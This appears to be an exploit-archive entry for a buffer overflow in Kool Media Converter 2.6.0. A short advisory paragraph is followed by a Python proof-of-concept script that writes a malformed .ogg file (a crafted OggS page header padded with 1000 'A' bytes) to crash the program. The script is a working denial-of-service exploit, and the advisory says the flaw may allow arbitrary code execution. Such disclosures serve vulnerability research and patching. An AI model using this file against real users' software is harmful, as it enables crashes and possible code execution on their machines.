Kool Media Converter 2.6.0 – ‘.ogg’ File Buffer Overflow
source: https://www.securityfocus.com/bid/50651/info Kool Media Converter is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data. Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions. Kool Media Converter 2.6.0 is vulnerable; other versions may also be affected. #!/usr/bin/env python # # # Exploit Title: Kool Media Converter v2.6.0 DOS # Date: 10/10/2011 # Author: swami # E-Mail: flavio[dot]baldassi[at]gmail[dot]com # Software Link: http://www.bestwebsharing.com/downloads/kool-media-converter-setup.exe # Version: 2.6.0 # Tested on: Windows XP SP3 ENG # #--- From Vendor Website # Kool Media Converter is a sound tool addressed to casual listeners and fervent # audiophiles likewise. It deals with compatibility problems between your audio files # and the media player you are using to help you enjoy all the songs you love anyway you like. # #--- Description # Kool Media Converter fails to handle a malformed .ogg file ogg = b'\x4F\x67\x67\x53' # Capture Pattern OggS in ascii ogg += b'\x00' # Version currently 0 ogg += b'\x02' # Header Type of page that follows ogg += b'\x00' * 8 # Granule Position ogg += b'\xCE\xc6\x41\x49' # Bitstream Serial Number ogg += b'\x00' * 4 # Page Sequence Number ogg += b'\x70\x79\xf3\x3d' # Checksum ogg += b'\x01' # Page Segment max 255 ogg += b'\x1e\x01\x76\x6f' # Segment Table ogg += b'\x41' * 1000 try: f = open('koolPoC.ogg','wb') f.write(ogg) f.close() except: print('\nError while creating ogg file\n') |